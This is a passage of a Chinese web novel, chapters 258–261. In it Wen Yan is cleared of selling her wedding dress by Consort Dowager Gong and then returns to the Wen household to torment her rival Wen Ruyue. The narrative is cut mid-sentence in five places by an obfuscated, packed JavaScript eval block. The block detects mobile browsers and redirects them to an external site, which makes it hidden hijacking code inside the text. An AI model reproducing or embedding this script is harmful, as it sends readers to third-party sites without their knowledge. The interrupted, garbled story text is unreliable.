闻颜后退两步,惊慌地道:“你不会想找人把我打晕带走吧! 啧啧啧,闻如月,好歹回闻家一年多了,怎么还是如村中泼妇一般粗鲁! 母亲对你的教养呢? 闻家对你的管教呢?” “你……”闻如月气得身体直颤,复又很快平静下来,“你说中了又如何。 我夫君是侯府世子,他最是宠我,只要我一句话,所有事,他都会为我摆平。” 说着,她就拉了拉衣领,故意露脖子上的暧昧红痕,向闻颜宣示**。 昨天回到侯府,闻如月处理好脸上的伤,就去找了霍耀行。 她对着他好一通撩拔娇缠,勾得霍耀行欲念焚身,根本无心念书,白日间就与她在书房放浪形骸。 想起夫君的霸道,闻如月的脸颊就开始发烫。 “扑哧……”闻颜笑出声。 “但凡是个正常人,怎会跟狗抢屎吃。” “你……你敢骂我是狗!”闻如月肺都要气炸了。 她尖声吩咐丫鬟:“去……把她打晕弄回去!” 两个丫鬟对视一眼,还是扑向闻颜。 闻颜反应极快,一人一记窝心脚。 两具丫鬟哎呦一声倒在地上。 闻颜惊恐喊道:“啊……不要啊,我的胳膊! 母亲,姐姐你们不要打我!” 闻如月母女脸色一变。 又来这一招! 闻颜声音不大,却让附近的人看了过来。 母女俩束手束脚,都不敢乱来。 闻颜带着佩儿,大摇大摆地离开。 “又让她跑了。”闻如月气得跺脚,“娘……怎么办啊?我要是再调配不出香料,兰贵妃就要恼了我了。” 江心葵沉着脸:“你别急,我们再想想办法。” 闻颜不想再被母女俩骚扰,干脆就往人多的地方去。 她一出现,就有人认出了她。 “哟,这不是京城小才女,闻家千金闻颜吗?” “你的记性可真差,她根本不是闻家血脉,还嫁了个乡下的穷酸秀才。” 那人说着,还用手在鼻子前扇了扇。 她们与闻颜并无仇怨,只是一直被闻颜压一头,心中不服气。 今日逮着机会,忍不住就想奚落一番。 “瞧她身上的衣服,这是多少年前的老古董? 我家倒夜香的嬷嬷都不愿穿的。” “你说,一个人的差距怎就如此之大? 嫁的都是秀才。 人家闻如月的相公,是侯府世子,不仅家世显赫,还极有才学。 而某些人的相公,连件像样的衣服都买不起。” 众贵女嘻嘻哈哈地说着。 还拿闻颜跟闻如月做对比。 闻颜神情淡淡的,仿佛他们说的是别人。 佩儿却听不别人这样说她。 气得眼眶都红了。 要不是闻颜拦着,她早就跟人理论了。 大家见还没有激怒她,便又道:“她不是捧孟家的臭脚,怎么不见孟家给她准备一件赴宴的衣裳?” “肯定是孟家看清她的真面目了呗!” “谁说我孟家不喜欢闻颜了的!”突然传来一道威严女声。 循声看去。 只见一位蜜色皮肤,衣着得体的妇人走了过来。 她虽衣着朴素简单,但通身的杀伐之气,让人不敢直视。 来者不是别人。 正是镇国将军府的主母,孟迟飞的母亲,闻颜的义母,白夫人。 白夫人来到闻颜身边,牵起她的手,关心问道:“颜颜,你没事吧!” 闻颜笑着摇头:“我没事。” 见她笑容不是作伪,白夫人这才松了口气。 她握着闻颜的手,看向众人,朗声道:“我已经收闻颜为义女。她对我来说,与亲生女儿无异。 以后再让我听见你们编排她,我的拳头可不答应。” 白夫人说完,对着身边的石桌用力一拍。 只听一声清脆的‘咔嚓’声。 石桌没事,但桌上的一只茶杯,裂成了两瓣。 众贵女吓得小脸苍白。 全都低下头不敢说话。 “义母,她们都是不知事的小姑娘,您何必动气。 若是伤到手,迟飞回来定要扒了我的皮。” 白夫人轻轻点了一下她的额头:“你就是太心善,被她们欺负了,还帮她们说话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344299|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻颜抱着她的胳膊,轻晃着撒娇:“哪有,我只关心您的手。” 白夫人宠溺地捏捏她的小脸。 孟家的几位千金,也热络地围在闻颜身边说话。 众人看见孟家的态度,心中便有了数。 闻家不待见闻颜,孟家却喜欢得紧。 虽然她失去了闻家这个娘家,却多了孟家这座靠山。 经此一事后。 此后恐怕没人再敢明目张胆地欺负她了。 这个闻颜,果真有些手段。 都落魄成那样了,竟然还让她成功翻身! “太妃到!” 随着一声通传,一位头发花白,却雍容华贵的老妇人,在丫鬟的搀扶下走了过来。 众人恭敬地行礼:“太妃娘娘金安。” 恭太妃笑容慈祥地让众人免礼:“邀大家一起看看花儿,大家不必拘礼。” 赏荷宴并不收礼,众贵女却会自己制作一些小玩意,想给恭太妃留下一个好印象。 众贵女一一献礼,不是荷包香囊,便是络子团扇。 轮到闻颜时,她送上一柄团扇。 “这扇子倒是精巧,拿过来我看看。”恭太妃说着。 丫鬟便将扇子捧到她面前。 “哟,还是一柄双面绣扇!你这孩子,费了很多功夫吧!” “回太妃,是蜀地的双面绣,我才学不久,献丑了。” “你要是说自己的绣品丑,公主府的绣娘岂不是要找条地缝钻进去?”恭太妃说着,朝闻颜招了招手,“过来,到我跟前说话。” 众人惊诧不已。 闻颜就凭一个双面绣的团扇,入了太妃的眼? “是,太妃娘娘。”闻颜低眉顺眼地走了过去。 太妃牵起闻颜的手,目光柔和地打量着她:“合适, 这是我当年入宫为妃时,穿的衣裳。 没想到你穿着正合适。 就是样式旧了点儿。” 刚才奚落闻颜的人,止不住地白脸。 这件衣裳,竟然是太妃所赠! 她们刚才还讽刺这衣裳,连刷马桶的婆子都不穿。 那岂不是在讽刺太妃…… 闻颜笑着道:“现在看觉得旧,在当时也该是最时新的样式。” 闻颜左右看了看,她走向一名丫鬟,道:“可能借你的披帛一用?” 第258章:澄清,变卖嫁衣 “当然。”丫鬟立即娶下自己的披帛,双手递给闻颜。 这是一条绿色渐变披帛,颜色沉稳又漂亮。 闻颜接过披帛,撕下一根两指宽的条,她随意编织几下,便系在腰间当做宫绦。 剩下的,闻颜将它与自己的半透薄纱披帛混在一起,重新披上。 原本以暖色为主的俏皮裙装,被这抹绿色点缀之后,瞬间变得明艳大气又不失沉稳。 什么暗纹提花过时,款式老旧,统统变成了加分项。 就连闻颜的气质也随之改变。 小小一条披帛,竟能起到画龙点睛的作用。 便是此前挤兑闻颜之人,此时也不得不承认她的厉害。 “好孩子,你的眼光可真好!这样一搭配,我都快认不出它了。”恭太妃眉眼带笑,她拍了拍身边的位置,“快过来,坐到我身边。” “是。”闻颜行了个福礼,到来太妃身边端庄落坐,只放了小半屁股在椅子上。 众人都百思不得其解。 闻颜搭配衣服确实很有一手。 但是这样的从才,在宫中比比皆是。 恭太妃为何独独对她另眼相待? 下面的人虽未说话,但互相之间的眼神交流,都似在询问,这到底怎么回事? 难不成,是闻颜施了邪术,将恭太妃迷惑住的? 闻如月的眼中满是嫉妒与不满。 闻颜得了恭太妃的青睐,自己将来如何拿捏他,还能用她去给自己换金山银山吗。 果然是自己太善良,对闻颜太过纵容,才让她有了反抗自己的底气。 重生几个月来,闻如月头一次觉得事情脱离了自己的掌控。 恭太妃禌神和蔼,却将这些人的神情、互动合部收入眼中。 她淡淡一笑,用不大的声音同闻颜说话:“上次你帮我修补的吉服,我很是满意。” 闻颜回以一笑:“能让您满意就好,我一直担心自己的手艺不好。” “我满意得很。只是没想到,帮我补件衣服,竟让你背上那等污名。 你这孩子,当时怎么不向大家解释清楚?” 听话听意。 闻颜立刻明白恭太妃的意图。 她当即就顺着恭太妃的意思,继续发挥。 她连忙跪下道:“那是您册封太妃的吉服,是宫廷御制,您让我修补,是看得起我。 我却担心这不合礼数,给您惹来麻烦,故而不敢声张。” 闻颜这一跪,顿时将众人的目光都吸引过来。 恭太妃露出不赞同的神情:“你只顾着不给我惹麻烦,你的名声就不要了? 现在外面都在流传,你为了一点银钱,连嫁衣都能卖。” 闻颜笑道:“谣言止于智者。我的夫君知道我并未变卖嫁衣,他信任我,这便足够了。” 闻颜神态轻松,就像在说一件微不足道的小事。 她越是这样,恭太妃越觉得她品性优秀。 她看着闻颜的眼神,也从先前的关心照顾,变成赞赏。 她看向众人:“既然大家都在,我在此向大家澄清一件事。 闻颜从未变卖过嫁衣,引起你们误会的嫁衣,其实是她为我修补的吉服。 同时,也好叫你们知晓,闻颜的刺绣技艺,有多么的精湛。” 恭太妃的贴身嬷嬷朝空中击了击掌。 随即,应有婢女,抬着一架衣桁走了过来。 衣桁上披着的,正是恭太妃册封为太妃时,所穿的吉服。 据说,这身吉服,是皇帝亲自描样,二十位绣娘,花了三个月时间才制作完成。 甚至比太后的吉服还要华丽精致。 它不仅仅是一件吉服,更代表了皇帝与恭太妃之间,深厚的母子情宜。 所以,衣服坏了之后,恭太妃很是心疼着急。 她想要修补好它。 却不又想送去宫中,让皇帝为难。 当初制作时,就是皇帝力排众议,顶着压力才做成的。 如今再去修补,就逾矩了,会成为朝臣攻击他的把柄。 恭太妃不忍皇帝为难,便自己在宫外找人修补。 她寻了很多人,最后才挑上声名在外的闻颜。 更过‘变卖嫁衣’的风波之后。 恭太妃更加确信,闻颜品格贵重,自己没有看错人。 众贵女都上前来,近距离欣赏着那件吉服。 恭太妃的嬷嬷,便在一旁讲解:“这件吉服因为保存不善,被虫蛀出许多小孔,修补难度很大。 即便是宫中的十名绣娘,也需半年才可完成。 闻颜姑娘却只花了三个月时间,就修补完成。不仅绣样衔接完美,为了统一色彩,就连绣线都特意做旧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344300|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻颜姑娘的刺透技艺,比传言中还要略胜一筹。” 嬷嬷还让大家找一找,哪里是修补之处。 竟只有一人,猜对了一处。 至此。 年轻众贵女都对闻颜的绣技甘拜下风。 那些夫人却知道,这件吉服对恭太妃的真正意义。 此时此刻,他们清晰地意识到,闻颜真的入了恭太妃的眼。 夫人出来维护她时,众夫人只觉得她有将军府做靠山,最好不要招惹欺负。 而且,她只要不触犯大庸律的,恭太妃都不会让她出事。 他们不仅不能招惹,见到她还得恭敬些。 闻如月不知事情程度,对闻颜的奇技淫巧还有些不屑。 江心葵却陡地变了脸色。 如果闻颜并未变卖嫁衣,那自己逼她到娘家澄清的事,岂不是欲盖弥彰? 自打耳光? 不过,只要此事不传入皇帝耳中,应该就没什么问题。 然而。 闻颜和太妃接下来的对话,彻底打破了她的幻想。 就见闻颜被夸得脸颊微红:“太妃,您太夸张了。 您要是再夸两句,我会得意忘形的。 而且,此事说出来真的可以吗?若是给您和皇帝陛下添麻烦,这件吉服本来就……” 恭太妃不在意地摆摆手:“你且放宽心。当初我要修补它,是特地进宫,征求过皇帝意见的。” “我回京之后,听闻你的遭遇,又特地拿着衣服进宫,给皇帝看过,他对你的技艺很是惊叹。” 闻颜重重松了一口气。 江心葵的身体却无力地摇晃几下。 什……什么! 皇帝竟然已经知道了此事! 那他们所做的一切,在皇帝眼中,岂不是像耍猴一样可笑! 完了完了。 闻家,恐怕要败落了。 江心葵像是被人抽去了骨头,摇摇欲坠。 但她很快就稳住了身形。 她的眼珠子骨碌碌地转了几转,突然上前几步,哀怨地责问闻颜:“既然是为太妃修补吉服,当初你为何不与我明说? 那日我听闻你变卖嫁衣,我伤心得肝肠寸断。 这才闹了好大的误会,让旁人看了几个月的笑话。” 江心葵想把闻家摘出来。 第259章:闻颜不答应 江心葵想保住闻家,也得看闻颜答不答应。 况且太妃都纡尊降贵为她出头,若是她再让江心葵用几句话哄住,岂不是让恭太妃心寒! 闻颜苦笑一声:“事关太妃和皇帝陛下,我怎能随意说出? 当时我一路都在跟您解释,我并未卖嫁衣,是您一口咬定我卖了。 还指着店中一件样衣,说是我的嫁衣,非要赎回,谣言这才传开的。” 闻颜越说越委屈。 “我……你什么时候解释了?我毫无印象。”江心葵辩解道。 “母亲您还要把事情推到我……”闻颜陡地住口,眼泪像断线的珠子一般,‘啪嗒啪嗒’地往下掉。 “母亲,您若是不信,大可以去问‘天衣布庄’的崔掌柜, 太妃便是通过‘天衣布庄’找到我的。 崔掌柜最是清楚其中缘由,他当时还与我一起向您解释来着,可您一点都听不进去。” 江心葵脸色忽青忽紫忽红,比调色盘还要精彩。 她下意识觉得这是闻颜的推托之词。 可是仔细回忆着当天细节。 耳边全是闻如月的声音:“妹妹定是因为婚事,对您与父亲心生恨意,故意变卖嫁衣,让您与父亲丢脸……” “若是此事传出去,父亲的职位恐受影响。 妹妹竟是不顾爹娘十几年的养育之恩,如此陷害你们……” 江心葵猛地回头看着闻如月,眼神如刀,仿佛下一刻就能**。 当时,就是她的话误导了自己。 刺激之下,她脑中只剩愤怒,根本无暇深思。 如月难道不知,这会给家族带来多**烦吗? 兴许还会牵连到家族,到时夫君这个族长之位,恐怕也要受到质疑。 不行! 夫君本就官途不畅,若是连家族权力都失去,他们一家就真的要被排挤出京城的权贵圈了。 再想把罪名扣在闻颜头上,恐怕是不行了。 只能将事情糊弄过去。 只见江心葵忽地眼眶一红,自责地落下眼泪:“……都怪我。 当时太担心你了。 只想着不能让你名声受损,竟没能听进去旁的解释。 都怪母亲,是母亲让你受委屈了。 我的儿啊,你能原谅母亲吗?” 江心葵是懂说话的。 三言两语,就把一切归咎于爱女心切。 还用‘求原谅’将了闻颜一军。 不原谅,闻颜就是心胸狭隘,不孝顺。 原谅,则她与闻家仍是一体,荣辱与共。 恭太妃赏识闻颜,闻家就能跟着沾光。 便是皇帝过问‘嫁衣道歉’之事,也怪不得闻家,毕竟是臣子家事。 不愧是江心葵,这么短时间里,竟想出这么个好主意。 闻颜一脸惊讶地道:“母亲,您说什么原谅不原谅的,当女儿的以孝顺为重,只当该听父亲母亲的话。” 话外之间便是:嫁衣道歉之事,无关对错,只是听从你们的安排。 江心葵见闻颜滴水不漏,多说无益,便见好就收。 她拉着闻颜的手,母女长母女短,生怕别人不知,她对闻颜的感情,比亲生女儿还深。 闻颜自然也不会当众拆穿。 只是皮笑肉不笑地应着。 不少人看得直撇嘴。 距离江心葵逼着闻颜当众道歉,才过去两三个月。 之后,也几乎没有来往。 现在见闻颜入了恭太妃眼,又一头**演起母女深情,吃相简直不要太难看。 这边气氛正诡异时,忽地传来一道亲和的女子声音:“大家在说什么事,如此热闹?” 循声看去。 只见几名妙龄女子,朝这边款步而来。 这几位姗姗来迟的女子,个个衣着华丽,仪态万千。 众贵女妇人连忙行礼:“见过太素公主、五公主、七公主、八公主。 见过景和郡主。” 闻颜也跟着跪拜。 太素公主素手轻抬:“诸位夫人免礼。” “是太素来了。”恭太妃眉目含笑。 素公主是皇帝的长女,深受宠爱。 “祖母。”太素几步来到太妃面前,握着太妃的手,跪下行礼。 恭太妃直接将她扶了起来,“我还以为你们今天不来了。” 太素公主笑着道:“我本不想凑热闹的,可是架不是了赛赛喜欢凑热闹,另外几位妹妹也跟着起哄。” 就在她们祖孙亲香之时,景和郡主的目光轻飘飘地扫过人群。 先是在闻颜脸上停顿片刻,随即便定定看着闻如月。 景和郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344301|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主嘴角上翘,眼神之中,全是讥诮。 闻如月并不慌张,反而冲景和郡主甜甜一笑,主动上前打招呼:“民妇闻如月,见过郡主。” 前世,她与景和郡主成了好朋友。 今生,郡主也一定会喜欢自己。 景和眼神越发戏谑。 有太素公主坐镇,众贵女们有八百个心眼子,也不敢往外使。 一个个乖顺得像小兔子一样。 闻颜也规规矩矩的,跟在白夫人身边。 江心葵几次往她面前凑,都被白夫人打发了。 闻颜也用实际行动表明,她与闻家的关系,真的很一般。 也有不少人冲着人恭太妃跟闻颜交好,都在白夫人这儿碰了软钉子。 大家凑在一起,吃吃点心,赏赏花,转眼就到了结束时间。 恭太妃特地赐了一些物件给闻颜。 让闻颜一时又成为众人焦点。 让屡次被拒的,心生怨怼的江心葵,再次目光火热起来。 闻颜扶着白夫人往外走,拜托她帮忙寻几个宫里退下来的嬷嬷。 “你找老嬷嬷干什么:”白夫人好奇询地问。 “净面娘子都是村中妇人,不懂京中礼数,我得找人教一教她们。” 白夫人一听是这个原因,当即就将事情应承下来。 闻颜将白夫人送上马车,转身就往自己的马车而去。 闻如月还在忧心‘香料’的事,正要问江心葵怎么办。 江心葵却扔下她,径直迎上了闻颜:“颜颜!你可让我好找。” “母亲。”闻颜神情冷淡地看着她。 江心葵很是热情地道:“你难得回京一趟,怎能住在外面,走,跟娘亲回家住。” 江心葵想得很美,只要把闻颜哄回家,就能沾到恭太妃的光。 闻颜一转眼,就发现紧追出来的闻如月,正用幽怨嫉恨的眼神看着这边。 她手里的帕子,几乎要被她拧烂了。 到了喉咙的拒绝被硬生生压下,闻颜改变主意了。 闻颜欲拒还迎,推辞几回,江心葵就将她强行拉上了马车,根本没注意到紧跟其后的闻如月。 闻颜登上江心葵的马车上,撩起车窗帘子,对闻如月挑衅一笑。 嘴唇轻启,无声的道:“你的东西,我全部都要夺走!” 第260章:闻颜使坏 闻如月脑中轰的一声,怒火燃烧着她的理智。 一直在心里默念‘香料’,才没有扑上去咬断闻颜的脖子。 她咬咬牙,对她贴身丫鬟吩咐道:“回侯府通知一声,就说母亲接我回闻家住一晚,明日再回去。” 说完,她也上了江心葵的马车。 丫鬟哭丧着脸:“私自回娘家,侯夫人知道会大发雷霆的。” 侯夫人不会对闻如月这个少夫人如何,却一定会拿她这个丫鬟出气。 江心葵的马车慢慢驶离。 闻如月和闻颜分坐两边。 闻如月目光不善地盯着闻颜,眼珠子滴溜溜地转,脑海不断闪过百般折磨闻颜的画面。 再忍一忍,只要进了闻府大门,把闻颜捏扁搓圆,还不是她说了算! 闻颜突然依偎进江心葵怀中,夹着嗓子,娇滴滴粘乎乎地说话:“母亲,姐姐的眼神好凶啊,我好害怕……” 江心葵:“……” 闻如月:“……” 江心葵厌恶闻颜的碰触,本能地把她推开。 江心葵并未用多少力。 闻颜却顺势往后一倒,胳膊撞在车厢壁上,发出‘砰’的一声。 “原来……母亲根本不想我回家,那我走,我走就是了。” 闻颜的眼泪夺眶而出,掀开车帘子就要跳车。 江心葵急**。 好不容易拽上车的人,怎么能让她就这样走了! 江心葵尖叫:“拦住她!” 江嬷嬷立即上前,一把抱住要跳车的闻颜。 闻颜嘤嘤哭着挣扎:“母亲,既然姐姐不欢迎我,我就不回去碍你们的眼了。” 江心葵气极,不管不顾,先把闻颜按回车里再说。 谁知,一名妇人突然跃上马车,一把掐住江嬷嬷的手腕。 妇人立即把闻颜护至身后:“江夫人,你就是这样对待闻颜小姐的?你若是不能好好对她,那就不要强迫她跟你回家。” 江心葵脸上的神情变了几变。 闻如月质问:“你是谁?这是我闻家之事,你管得着吗?” 妇人道:“我的主子是镇国大将军府的主母。我主子让我一路随行,保护闻颜小姐,你们若是欺负她,我只得将她带走。” 好不容易拐到手的人,江心葵怎么会放她走。 只要把她骗进家门,一切皆有可能。 否则再想‘修复感情’,可就没有这么好的机会了。 再加上妇人刚才利落地飞身上马车,便知她必定是白夫人的心腹。 江心葵银牙暗咬,才挤出笑容:“你误会了,是她们姐妹俩拌了几句嘴,没什么大事。” 见妇人不吱声,江心葵狠了狠心,瞪了闻如月一眼:“还不快给你妹妹道歉。” “你让我跟她道歉……凭什么!”闻如月好不容易把她踩在脚下,还没在闻颜面前炫耀几回,现在竟然要她道歉。 简直是奇耻大辱! 她不同意! “姐姐果然讨厌我,我还是走吧!”闻颜作势要走。 江心葵回头对闻如月使了个眼色,又做了一个‘香料’的口形,威逼利诱之下, 闻如月一凉。 果然。 娘嘴上说着疼爱自己,心里还是向着闻颜的。 她心里升起一股委屈,眼眶瞬间红了。 还是挤出一句“对不起”。 闻颜擦了擦不存在的眼泪,“既然妹妹已经敷衍认错,我就原谅你了吧。” 闻如月仿佛干了一碗苍蝇汁,恶心极了。 闻颜重回马车,妇人随行左右。 直到马车停在闻府门外,妇人也没有离开的意思。 江心葵委婉地提出:“她可以回去复命了。” 妇人极有涵养的笑了笑:“我家主子说了,闻颜小姐身子弱,让我来专门照顾。” 江心葵知道赶不走,干笑两声,转身牵着闻颜的手,进门而去。 府中下人见状,都很是惊讶。 闻颜上次回来时,打扮得如村妇一般。 这次回来,不仅穿得光鲜靓丽,身边还有仆妇侍候。 夫人也态度大变,神情间甚至还带着讨好。 莫非,二小姐要翻身了? 闻家下人心里止不住地琢磨。 进门之后,江心葵便让江嬷嬷送闻颜去客房休息。 闻颜拿帕子在脸上按了按:“我就知道,这个家,早就没有我的位置了。” 江心葵看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344302|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼闻颜身边的妇人,连忙让人去把她出嫁前住的院子,收拾整理出来。 闻颜却不应声,只是哀怨地盯着江心葵。 这样还不满意? 江心葵烦躁不已。 佩儿在一旁提醒:“我家主子即便嫁去乡下,住的也是一个大院子。我家小姐住回汀兰院,不过分吧!” 汀兰院是闻颜长大的院子。 不过在闻如月找回来后,江心葵就对她说,只有闻家真正的大小姐才配住在那个院子。 院子就成了闻如月的,而她则搬去了偏僻荒凉的绿芜阁。 “你休想霸占我的院子!”闻如月气得眼睛都瞪圆了。 闻颜并不理会她,而是看着江心葵:“母亲,不可以吗? 若是不行,我现在就走,自此与闻家再无半点关系。” 闻颜就是故意的。 她挑拨离间。 她要让江心葵一次一次选择自己。 她倒要看看,前世牢不可破的母女情,在利益面前到底能撑多久。 闻如月:“你想都别想,那是我的院子,我不同意,谁都别想住进去。” 闻颜娇嗔轻笑:“我觉得母亲会让我住进去呢!” “不可能!”闻如月大声反驳。 妇人上前扶住闻颜:“府上连一个合适的院子,都不肯让闻颜小姐住,闻颜小姐还是回将军府吧。” 江心葵笑着对闻颜道:“那个院子本就是你的,你难得回来一趟,住进去理所应当。” “娘!不可以!”闻如月失控尖叫。 “娘,那是我的院子,我不同意,我不许!” 江心葵早就被弄得心力交瘁,已经没有耐心哄闻如月。 她当即脸色一沉,呵斥道:“这是闻家,不是侯府。要耍小性子,就回侯府去。” 闻如月瞬间怔住,不敢置信地道:“娘,你竟然帮她不帮我。” “你若是控制不好情绪,立即就回侯府去。” “走就走!”闻如月气冲冲地走了。 闻颜拉着江心葵的衣袖撒娇,看着闻如月的背影,大声道:“母亲,我就知道,我们十几年的感情,你最疼的人还是我。” 闻如月听见这话,更加气鼓鼓了。 第261章:搅家 气走了闻如月,闻颜也回到了汀兰院。 看着熟悉的院子,让她有种恍如隔世的感觉。 当初,她被赶去绿芜阁时,只带走了贴身衣物。 首饰、摆件一件都没带走。 能在她院中的,件件都不是俗物。 闻如月审美不够,她重新布置,未必会有这么赏心悦目。 况且,这里的一物一什都是闻颜十五年来,精心搜罗而来的,花了她无数心血。 自己用着这些东西,闻颜岂不是更痛苦! 闻如月在这里住的时间不到一年半,院子还保持着她的布置模样。 院中种植着她和孟迟飞从大庸各地搜罗来的名贵花草,随便一株,都百两难求。 即使闻如月已经出嫁,江心葵还是命专人看顾院子,照料花草。 此时盛夏,花团锦簇,蝴蝶翩跹。 闻颜先在院子里转了转,对那些名贵花朵,她左手掐一朵,右手掐一朵。 院中的下人急得直跺脚,喊着叫着让闻颜不要再摘了。 闻颜不听,他们竟威胁闻颜:“若是让大小姐知道,二小姐你可没法交待。” 闻颜扫了那人一眼,冷哼一声。 很快,闻颜就扎了一大捧花。 漂亮的花圃,瞬间就被她祸祸得不成样子。 她又把花扎成花球,抛给佩儿:“拿去当毽子踢。” “好勒!”佩儿接住花球,果真像踢毽子那般踢了起来。 娇艳花瓣经不起摧残,扑簌簌落下。 踢了两下就没意思了,佩儿把花球扔在地上踩来踩去,糟蹋得不成样子。 闻颜看得满意极了。 指了指花圃里的锄头,佩儿:“把这些花草挖出来,明儿全部带走。” 大部分花草都是迟飞姐姐特地寻来送她的,岂能便宜了闻家人。 “好嘞!”佩儿拿起锄头就开干。 院中仆妇吓坏了,上前阻止不成,连忙使了个眼神,让他们去找搬救兵。 闻颜转身进了屋子。 闻颜在屋子里转了一圈。 房间也收拾得很好,纤尘不染。 被褥每天都在换,不管闻如月何时回来,都能直接入住。 她一个转身,花几上的梅瓶就掉地上摔碎了。 跟进来侍候的丫鬟,吓得一哆嗦。 那可是大小姐最喜欢的梅瓶,就这样毁了。 大小姐要是知道了,肯定会打死他们的。 闻颜到桌边坐下,倒茶喝了一口。 她手腕一抖,茶水尽数泼在屏风上。 深色的茶渍,在洁白的丝帛和彩色的绣线上留下一大团污迹。 这扇屏风也彻底毁了。 这屏风是闻颜花了一年时间绣好的,用上好的檀木制成。 曾经有人想千两银子买下,闻颜都未出手。 她一直收在库房,想留给孟迟飞出嫁做添妆的,结果便宜了闻如月。 既然已经被闻如月玷污,这屏风她不要罢。 丫鬟都快吓哭了:“二小姐,这是大小姐的院子,你毁坏了里面的东西,大小姐追究起来,你可赔不起!” “赔? 这屋里但凡值钱的,哪一件不是我的东西? 你去问问闻如月,她现在敢对我放一个屁吗?” 闻颜把手里的汝窑茶杯扔在地上,立时摔得粉碎。 管事嬷嬷心疼得直哆嗦。 这套可是大小姐最喜欢的茶具,价值连城,有钱都买不到的。 大小姐若是知道了,他们小命不保啊! 就这时,院中忽然传来一声尖叫:“啊……我的院子,我的花草!闻颜,我跟你拼了。” 随后,闻如月便冲进房中。 对着闻颜张牙舞爪。 江心葵也紧随其后。 闻颜道:“我摔的、铲的,都是我自己的东西。我既已出嫁,把我自己的东西带走,这有什么问题吗?” “什么你的,这些都是闻家的,爹娘给了我,那就是我的。” “大言不惭。你要不要看看孟家的礼单,再说这等恬不知耻的话。”闻颜嗤笑一声,“你不是走了吗?又回来干嘛?” 闻如月:“……” 闻颜的小嘴是抹了毒了吗? 每一句话都往她心口上扎。 闻颜扎完闻如月的心,又看向江心葵:“母亲,我把自己的东西带走?应该无碍吧!” 孟家的人还在场,江心葵想不同意都不行。 闻颜没想到江心葵这么容易松口。 她有点后悔毁了梅瓶和屏风,拿出去处理掉,能换不少银子。 江心葵想到要损失的东西,心痛得要滴血。 没待一会儿,她就找借口离开了。 闻如月跟在后方,看着江心葵的背影。 她知道,娘只在乎爹和哥哥的前程。 自己这个出嫁女,若是不能为娘家带来好处和利益,也是随时可以抛弃的。 就像现在。 仅仅因为闻颜攀附上了恭太妃,娘就把自己的尊严拿给闻颜踩。 既然娘不愿帮自己,那她就自己来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344303|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了。 香料,她一定要弄到手。 当然,这还不够。 她一定要找到那盆‘素冠荷鼎’。 原本她还抱着侥幸心理,找不到‘素冠荷鼎’,就用汀兰院中的名花应急。 现在全部被闻颜毁了。 ‘素冠荷鼎’她志在必得。 不管花多少钱,她都愿意! 待房中无闲杂人等之后,闻颜才问起妇人的称呼。 这才得知,她并不是孟家的下人。 而是孟将军亲卫的夫人,姓孙名雪和。 她为人机敏,又会功夫,白夫人才请她来保护闻颜几天。 闻颜对她福了一礼:“孙姨,这几天辛苦你了。” 晚饭时间。 下人来叫闻颜去正院吃饭。 闻颜来这一趟,就是要挑得闻家家宅不宁,当即就去了一趟。 江心葵夫妻、闻如月和闻择端都在。 大概是听江心葵‘赏荷宴’之事,闻父对闻颜很是热情。 话里话外,都说当初是个误会。 还让闻颜帮他在恭太妃面前美言几句,让她的位置再往上挪一挪。 